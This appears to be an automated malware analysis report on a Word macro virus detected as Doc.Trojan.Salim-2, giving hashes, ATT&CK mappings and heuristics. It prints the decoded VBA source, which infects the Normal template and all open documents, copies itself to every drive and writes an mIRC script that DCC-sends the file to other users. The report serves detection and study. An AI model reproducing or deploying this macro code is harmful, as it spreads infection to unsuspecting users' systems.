Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a2e1b0326beacbf1…

MALICIOUS

Office (OLE)

69.0 KB Created: 2000-10-05 17:05:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 7a899c728410896dfde2e947ae353484 SHA-1: c725fece653328215f0e76b7c8b112a2820d274b SHA-256: a2e1b0326beacbf18886d32b646a9cdcf78cbe3fe9a7692933f7718ccd36542a
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample contains VBA macros, including a Document_Open macro, which is designed to execute automatically when the document is opened. The macro utilizes CreateObject and Shell() calls, indicating an attempt to run external code. The ClamAV heuristic also identifies the file as 'Doc.Trojan.Salim-2', suggesting it's a known malicious document type.

Heuristics 6

  • ClamAV: Doc.Trojan.Salim-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Salim-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4470 bytes
SHA-256: 29c1628923defc269e58407b904b0563cf33923cc689a5f0c2fafb556aff1f8a
Detection
ClamAV: Doc.Trojan.Salim-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'PIJAVICA
Private Sub Document_Close(): Const dva = 2: Const jedan = 1: On Error Resume Next
If ThisDocument = ActiveDocument Then Set l = NormalTemplate Else Set l = ActiveDocument
br = ThisDocument.VBProject.VBComponents(jedan).CodeModule.CountOfLines
kod = Strings.Trim(ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(jedan, br))
Set NT1 = l.VBProject: Set NT2 = NT1.VBComponents(jedan)
Set nt3 = NT2.CodeModule: nt4 = nt3.CountOfLines
If nt3.Lines(jedan, jedan) <> "'PIJAVICA" Then
With nt3
.deletelines jedan, nt4
.insertlines jedan, kod
End With
End If
For q = jedan To Documents.Count
Set df = Documents(q).VBProject: Set sd = df.VBComponents(1)
Set fg = sd.CodeModule
If fg.Lines(jedan, jedan) <> "'PIJAVICA" Then
f = fg.CountOfLines
With fg
.deletelines jedan, f
.insertlines 1, kod
End With
End If
Next q
For s = 1 To Documents.Count
If Documents(s).VBProject.VBComponents(jedan).CodeModule.Lines(dva, _
jedan) = "Private Sub Document_Open(): Const jedan = 1: Const dva = 2: On Error Resume Next" Then
With Documents(s).VBProject.VBComponents(dva - jedan).CodeModule
.ReplaceLine dva, "Private Sub Document_Close(): Const dva = 2: Const jedan = 1: On error resume next"
End With
Else
If Documents(s).VBProject.VBComponents(dva - jedan).CodeModule.Lines(dva, _
jedan) = "Private Sub Document_Close(): Const dva = 2: Const jedan = 1: On Error Resume Next" Then
With Documents(s).VBProject.VBComponents(dva - jedan).CodeModule
.ReplaceLine dva, "Private Sub Document_Open(): Const jedan = 1: Const dva = 2: On error resume next"
End With
End If
End If
Next s
Dim fs, a
Set fs = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
If fs.getfile("C:\Salim_se!.doc") <> "Salim_se!.doc" Then
Dim R As String
Dim t(1 To 4)
t(1) = "Procitaj_me"
t(2) = "Hej_" & Application.UserName
t(3) = "Mala_sala!"
t(4) = ActiveDocument.FullName
R = t(Int(Rnd * 8 - Rnd * 2 + 1))
ActiveDocument.SaveAs "C:\Salim_se!.doc"
ActiveDocument.SaveAs "c:\My Documents" & "\" & R & ".doc"
End If
Set a = fs.Drives
For Each g In a
If g.drivetype = 3 Or 2 Then
If g.isready Then
fs.copyfile "c:\Salim_se!.doc", g.driveletter & ":\", True
End If
End If
Next g
Set ff = fs.CreateTextFile("C:\Mirc\script.ini", True)
ff.writeline "[script]"
ff.writeline "n0=on 1:JOIN:#:{"
ff.writeline "n1= /if ( $nick == $me ) { halt }"
ff.writeline "n2= /.dcc send $nick c:\Salim_se!.doc"
ff.writeline "n3=}"
ff.Close
If Day(Now()) = Int(dva * dva + jedan + dva) Then
Set pl = fs.CreateTextFile("C:\Multipare.txt", True)
pl.writeline "         °°°°°          °°°°°         "
pl.writeline "          °°°°°°°°°       °°°°°°°    "
pl.writeline "            °°°°°°°°°°°°°°°°°°°°°°°"
pl.writeline "             °°°°°°°±±±±±±±±±°°±±±±±±±±"
pl.writeline "              °°°°°±±ŰŰŰŰŰŰŰŰ°°±ŰŰŰŰŰŰŰŰ    greetz to:"
pl.writeline "              °°°°°±ŰŰ°    °°°°±ŰŰ°°   ŰŰ   ÄÄÄÄÄÄÄÄÄÄ"
pl.writeline "              °°°°°±ŰŰ°°   °°°°±ŰŰ°°°°  Ű   K04x"
pl.writeline "                °°°±ŰŰ°°°°  °°°±ŰŰ°°°°°°Ű   e-mAn"
pl.writeline "                °°°±ŰŰŰŰŰŰŰ °°°±ŰŰ°ŰŰŰŰŰŰ   rudeBoy"
pl.writeline "                 °°±ŰŰŰŰŰŰŰ °°°±ŰŰ°ŰŰŰŰŰŰ   abasi-"
pl.writeline "                 °°±ŰŰ°°     °°±ŰŰ°°°°  Ű   vr4g"
pl.writeline "                  °±ŰŰ°°°°    °±ŰŰ°°°°°°Ű   SnakeLord"
pl.writeline "                  °±ŰŰEBVL-2K  ±ŰŰ°°°°°ŰŰ   Morphex"
pl.writeline "                   °±ŰŰŰŰŰŰŰŰ   ŰŰŰŰŰŰŰŰ    Wex-Alpha"
pl.Close
Set pl2 = fs.CreateTextFile("C:\Multipare.bat", True)
pl2.writeline "echo off"
pl2.writeline "cls"
pl2.writeline "command /c type c:\multipare.txt"
pl2.Close
Shell "c:\multipare.bat", vbNormalNoFocus
End If
End Sub
'WM.Multipare by e[ax]
'Inficira sve otvorene dokumente ukljucujuci i NT!
'Koristi OPE v1.1 [Obican Polimor
... (truncated)

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